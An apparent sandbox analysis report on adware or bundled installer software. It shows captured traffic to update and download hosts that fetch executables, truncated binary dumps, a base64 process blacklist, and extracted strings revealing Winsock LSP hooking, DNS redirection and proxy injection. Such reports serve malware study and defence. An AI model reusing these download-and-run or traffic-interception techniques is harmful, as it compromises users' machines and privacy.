GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1418834647&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=k02k3o5545cse1bcmjjn5rj5




HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 547

Content-Type: text/html; charset=utf-8

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Date: Wed, 17 Dec 2014 16:44:06 GMT

Connection: close
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1418834694&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=k02k3o5545cse1bcmjjn5rj5




HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 547

Content-Type: text/html; charset=utf-8

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Date: Wed, 17 Dec 2014 16:44:54 GMT

Connection: close
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...


GET /sd?is=sm HTTP/1.1

Range: bytes=145852-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 18 Dec 2014 16:43:27 GMT

Date: Wed, 17 Dec 2014 16:43:27 GMT

Content-Range: bytes 145852-583407/583408

Content-Length: 437556

Connection: keep-alive
..l..I..lV.r.X?.z#[4..N.Z..<..Yd...........X.Q~p...;....}rw.d?AtH..
...$...5..Y..IO.w...r....=.]..)L.G...[..Q._D...=..v..).5.jN._.9..l.5.$
.....FXM...-.qF>..>....UgG6..h1...eQ....92....~!?.w.e.Lc.~U..U..
.`i....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.e62.d
.YE.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t...*..
.8J........2}...Yq.M.........G..#..Y..........=.A...~..R....QL9.......
.VB......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7.o...
V..t.}......'.............6o8....L .H.....&...R.,.....k..Bf.LJ.......\
......0..$.s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z...:..
.Z.a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W....{.W.
..j2.V.a.....q..,...V......sr;.........n.".S.WI..n?........Z....^..7..
 }....B.m. .eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k......7-.
.0.a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... h.C..
........@G]C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.7.yZ.
X'.t....j.n....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a........
..".y..II...{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.. ..i
 ;.........N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..<`.
.R$..4$.-s.u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.M....
.W}[email protected].... zi=-
...p:.8.......].5.W...~K."[email protected]"rr.d.4<{.....5.....P...W...
.ZHNC.w.Y.= .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.J1.B.
>...4.{.M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9f
<<< skipped >>>


GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 18 Dec 2014 16:43:27 GMT

Date: Wed, 17 Dec 2014 16:43:27 GMT

Content-Range: bytes 0-583407/583408

Content-Length: 583408

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................X........................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71389-142779

User-Agent: Better Installer(Mozilla)

Host: d3ddmpeszwup8l.cloudfront.net

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71391

Connection: keep-alive

Date: Sun, 14 Dec 2014 04:56:58 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71389-142779/285558

Age: 1399

X-Cache: Hit from cloudfront

Via: 1.1 81e9666a029763b28a79c65da9512837.cloudfront.net (CloudFront)

X-Amz-Cf-Id: f93bZ-LIED1MxcZ20JsXv2sqAFuYwfE9-ogfYhRVF1SYCl_aIMzSZQ==
...IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.
L.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!.
.._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..
aG.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b......
.IO[[email protected].....].<.........g.mG
..as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<..
....8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O
;...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O...
.0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%
i~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.i
f.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!.
.cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:
Cp.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...
=.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...
Zy.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq
.zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A...
.xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h
.C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@
.n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3
G..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.
<<< skipped >>>


GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=8486386-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache





:.B.."..y.....#.i.o.N...CNC.!..{.R....8.G#.2..S.vH)C;~..>.B....R.Q.
p..;...F=..ry...........=..z..<i..JpT..... =....5._...H....B.."....
..K ..8.0":...!...q.......;....].A.I...Ry......U;..9......&.32T..t....
X.q.....t..w$.mv....~.b9...e...7].....3...wm.G"#...... ._...n0`3....].
.B.Qf..\...._4...c.9.ae.U.r..M.m*.....X.T...N.wyu!.sD.~.....w...3.n..t
.!...A8.....<L...7......m..i..V..Xc..{..&8(.. .F.....|..J"........*
..V..EHd@Y.[.y........9......m.c.....H...._.}...Wq........=}.T........
T....=.7m'./....6....mk.kA^d...Mg.a .r..).....]...A.n.Q..J..3!.i...T.(
.........5p..'..........1%[.L?...k.Y...........Y......N]o..d....K.....
M....q?'...s..Q&_xX.. ...i.^....s=...{......W.w".k....9o.bDrx:......T.
..5Dr-..^.7.....%..>m.4..C.S.Zt$.}<dg..H...[....(..X..&9...|"M..
....Tv.......C.9su.j&.e....e.o'. ...[u \AGZT."Q.....jyD./....,( ..}79.
3f.3f;.:..<yW.. ....r.DT...b...5KSg...w!.v....k....T...o.h.2.=.....
..0i..`[email protected]..(.f.....<.6k>=....'..l.....x.>
;e.}f...../..&zS..P..j..n....*...>..!......tA%.......:I.M..>.zK.
4/.q:.RX...[!.<....mk..9JHa..WB.x.....4D%.......?....s.yB!.t....!_.
T..pU.a.....0I."[email protected].]E.....c..0Dt.[.F..`q.LM.`...
.F..@~....5........B.A5......L...x....&....a....}.s1.......ZT&..}.....
.t....&...<,EY1.D}.Z.....$..kU.,...^..*0..T.ZG.s>gN.u.......Z...
...t..w5JP...P_c..!..k...I.n....0.<..C15PQ}5ON.2.>..S..d...(....
...)P..........z@...&)1.`.S^^.../..1..!-5R.....\..5...fo..|..4..."...&
....8.....MT...v%.m.dz.....v}$#.*....*...h.547P...X...Y...`.{>.
<<< skipped >>>

The Application connects to the servers at the folowing location(s):

jsdrv.exe_3492:

.text

`.rdata

@.data

.rsrc

@.reloc

HTTPt

FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6

QSSSSh`

u.PSh@u

j.hHc

j.hX"

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CLoader::DisableDnsController] ___Error Disabling Dns Redirect Controller. LE: %X

[CLoader::ProcessTimeoutEvent] ___Warning: Unsupported event (%d)

[CLoader::AddRef] RefCount: %d

[CLoader::Release] RefCount: %d

[CLoader::UpdateVersionStatus] Status: %d (%d)

[CLoader::UnLoadRedirector] ___Error to Stop the Redirect Controller. LE: %d

[CLoader::GetMode] Engine Mode = %d

- m_ImpersonateDone = %d, m_DoLoadModules = %d m_UIRunning = %d

spCmd

[CLoader::DoStop] ___Error UnLoadMonitor - %X

[CLoader::DoStop] ___Error UnLoadRedirector - %X

[CLoader::DoStop] ___Error UnLoadProxy - %X

[CLoader::Load] Added %d m_nLSPConfChangedEvent

[CLoader::IsToLoadProxyModule] ___Error to Create IHttpEngineConfiguration

[CLoader::IsToLoadProxyModule] FALSE - Partner: %s

[CLoader::IsToLoadProxyModule] OEM: %s, Partner: %s

Monitor.dll

%d.%d.%d.%d

[CLoader::LoadProxy] ___Error: Failed To Create the proxy, CreateProxy: %d

[CLoader::RunLspInstaller] ___Error CreateProcess: %d

[CLoader::RunLspInstaller] CreateProcess: %s

\\.\pipe\VAPIPESERVERENG

[CLoader::RunPartnerCommTest] ___Error to create CommTest process. LE: %d

CommTest.exe

[CLoader::FixLSPStatus] Not going to fix LSP, it has been called %d times

[CLoader::CheckOurLSPStatus] Done.

[CLoader::CheckOurLSPStatus] ___Error CreateProcess: %d

[CLoader::CheckOurLSPStatus] CreateProcess: %s

[CLoader::CheckOurLSPStatus]

EmptyKey

[CLoader::InitCore] ___Warning - failed Open Current User Key - ProductInfo.m_hKeyRoot = ACCELERATOR_GLOBAL_KEY

3.3.9.3

[CLoader::InstallLsp] Done - %s

[CLoader::InstallLsp] Running second LSP installation method - %s

2.exe

[CLoader::SetLastTestSucceeded] InstalledLspVersion: %s

[CLoader::UnInstallLSP] Done - %s

Name: %s

Path: %s

Version: %s

%s_%d_%s.log

[CLoader::LoadModules] Already loaded, Status = %d, return...

[CLoader::ProcessEvent] ___Warning: Unsupported event (%d)

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - Added %d

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - LSP configuration has changed, event %d

[CLoader::ProcessEvent] m_UninstallLspProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Added %d m_nLSPConfChangedEvent

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Check if our LSP installed DONE, event %d

[CLoader::ProcessEvent] m_InstallLspProcess - GetExitCodeProcess returned: %d

[CLoader::ProcessEvent] m_CommTestSucceeded - Added %d m_nLSPConfChangedEvent

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

jsdrv.exe

config.xml

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

\\.\pipe\VAPIPESERVERUI

[CBaseProviderProc::WSPAccept] ___Warning m_ProcTable.lpWSPAccept is not initialized, calling WSAAccept

[CBaseProviderProc::WSPAddressToString] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSAAddressToString

[CBaseProviderProc::WSPAsyncSelect] ___Warning m_ProcTable.WSPAsyncSelect is not initialized, calling WSAAsyncSelect

[CBaseProviderProc::WSPBind] ___Warning m_ProcTable.lpWSPBind is not initialized, calling bind

[CBaseProviderProc::WSPCancelBlockingCall] ___Warning m_ProcTable.lpWSPCancelBlockingCall is not initialized, calling WSACancelBlockingCall

[CBaseProviderProc::WSPCloseSocket] ___Warning m_ProcTable.lpWSPCloseSocket is not initialized, calling closesocket

[CBaseProviderProc::WSPConnect] ___Warning m_ProcTable.lpWSPConnect is not initialized, calling WSAConnect

[CBaseProviderProc::WSPDuplicateSocket] ___Warning m_ProcTable.lpWSPDuplicateSocket is not initialized, calling WSADuplicateSocketW

[CBaseProviderProc::WSPEnumNetworkEvents] ___Warning m_ProcTable.lpWSPEnumNetworkEvents is not initialized, calling WSAEnumNetworkEvents

[CBaseProviderProc::WSPEventSelect] ___Warning m_ProcTable.lpWSPEventSelect is not initialized, calling WSAEventSelect

[CBaseProviderProc::WSPGetOverlappedResult] ___Warning m_ProcTable.lpWSPGetOverlappedResult is not initialized, calling WSAGetOverlappedResult

[CBaseProviderProc::WSPGetPeerName] ___Warning m_ProcTable.lpWSPGetPeerName is not initialized, calling getpeername

[CBaseProviderProc::WSPGetSockName] ___Warning m_ProcTable.lpWSPGetSockName is not initialized, calling getsockname

[CBaseProviderProc::WSPGetSockOpt] ___Warning m_ProcTable.lpWSPGetSockOpt is not initialized, calling getsockopt

[CBaseProviderProc::WSPGetQOSByName] ___Warning m_ProcTable.lpWSPGetQOSByName is not initialized, calling WSAGetQOSByName

[CBaseProviderProc::WSPIoctl] ___Warning m_ProcTable.lpWSPIoctl is not initialized, calling WSAIoctl

[CBaseProviderProc::WSPJoinLeaf] ___Warning m_ProcTable.lpWSPJoinLeaf is not initialized, calling WSAJoinLeaf

[CBaseProviderProc::WSPJoinLeaf]

[CBaseProviderProc::WSPListen] ___Warning m_ProcTable.lpWSPListen is not initialized, calling listen

[CBaseProviderProc::WSPRecv] ___Warning m_ProcTable.lpWSPRecv is not initialized, calling WSARecv

[CBaseProviderProc::WSPRecvDisconnect] ___Warning m_ProcTable.lpWSPRecvDisconnect is not initialized, calling WSARecvDisconnect

[CBaseProviderProc::WSPRecvFrom] ___Warning m_ProcTable.lpWSPRecvFrom is not initialized, calling WSARecvFrom

[CBaseProviderProc::WSPSelect] ___Warning m_ProcTable.lpWSPSelect is not initialized, calling select

[CBaseProviderProc::WSPSend] ___Warning m_ProcTable.lpWSPSend is not initialized, calling WSASend

[CBaseProviderProc::WSPSendDisconnect] ___Warning m_ProcTable.lpWSPSendDisconnect is not initialized, calling WSASendDisconnect

[CBaseProviderProc::WSPSendTo] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSASendTo

[CBaseProviderProc::WSPSetSockOpt] ___Warning m_ProcTable.lpWSPSetSockOpt is not initialized, calling setsockopt

[CBaseProviderProc::WSPShutdown] ___Warning m_ProcTable.lpWSPShutdown is not initialized, calling shutdown

[CBaseProviderProc::WSPStringToAddress] ___Warning m_ProcTable.lpWSPStringToAddress is not initialized, calling WSAStringToAddress

[CBaseProviderProc::WSPSocket] ___Warning m_ProcTable.lpWSPSocket is not initialized, calling socket

[CBaseProviderProc::WSPSocket] ___Error could not find protocol for af %d, type %d, protocol %d

[CBaseProviderProc::WSPSocket] ___Error not appropriate af %d

[CBaseProviderProc::WSPCleanup] ___Warning m_ProcTable.lpWSPCleanup is not initialized, calling WSACleanup

[CRedirectController::SetPassThrough]

[CRedirectController::GetTestingMode] %d

[CRedirectController::IsModeSupported] ___Error to Create IHttpEngineConfiguration

[CRedirectController::CRedirectController] ___Error to Create IHttpEngineConfiguration

IsOurPacFileExist: %s

[CRedirectController::IsOurPacFileExist] Existing Pac: %s - Applyed Pac: %s

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::UpdateTracerFromReg] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

vaproxy.pac

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CDnsController::SetRedirectFilter] Domain: %s

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

JsDriverService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

[CMutexLock::Open] ___Error %d, OpenMutex: %s

[CMutexLock::Open] ___Error %d, CreateMutex: %s

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

[CAcceleratorEvents::ReportStatistics]

[CAcceleratorEvents::OnReportNoAccelerationReason] %s

[CSaveWatchUrl::Work] Saving Info...

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

[CLspController::SetRedirectFilter] IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CLspController::SetVersionStatus] VesrionStatus = %d

[CLspController::GetVersionStatus] VesrionStatus = %d

[CLspController::UpdateVersionStatus] Status: %d (%d)

[CLspController::UpdateVersionStatus] New Status: %d

[CLspController::IsToAccelerate] Local ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Global ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Partner ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] iTunes ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] returns FALSE - status passthrough

[CLspController::IsToAccelerate] returns FALSE - g_PassThrough exists

[CLspController::IsToAccelerate] IP: %u.%u.%u.%u, Port: %u

[CLspController::StartAccelerationsEvent] ___Error OSSetEvent failed: %d

[CLspController::InitTunnelingState] g_PassThrough[ %s ] = %d

[CLspController::IsPartner] partner = %d

[CLspController::UpdateXMLRulesVersion] Version: %s (%s)

[CLspController::UpdateXMLRulesVersion] New Version: %s

[CLspController::IsIgnored] ---@@@ Port: %u @@@---

Downloader.exe

RecordingManager.exe

WebKit2WebProcess.exe

firefox.exe

iTunes.exe

[CLspController::DoLoad] Hook status %d

VVV.youtube.com

[CLspController::DoLoad] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::SetPassThrough] g_PassThrough[ %s ] = %d

PassThroughState

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData is Read-Only

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData == NULL

[CLspController::SetPassThrough]

[CLspController::UpdatedPartnerDisableList] PartnerDisableList = %s

